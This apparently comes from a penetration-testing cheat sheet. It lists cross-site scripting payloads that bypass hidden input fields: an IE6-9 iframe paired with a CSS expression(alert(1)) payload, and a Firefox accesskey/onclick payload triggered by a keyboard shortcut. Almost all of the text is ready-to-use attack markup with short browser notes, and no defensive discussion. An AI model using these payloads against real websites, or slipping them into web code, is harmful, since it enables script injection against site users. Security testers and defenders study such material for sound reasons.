Bypass input hidden XSS

example

1
<input type="hidden" name="redacted" value="default" injection="xss" />

Iframe

Test in IE6-9

1.html

1
<iframe src=two.html>

2.html

1
<input type=hidden style=x:expression(alert(1))>

firefox Onclick

Only works on Firefox. ALT+SHIFT+X on Windows/Linux, CTRL+ALT+X osx.

1
<input type="hidden" accesskey="X" onclick="alert(1)">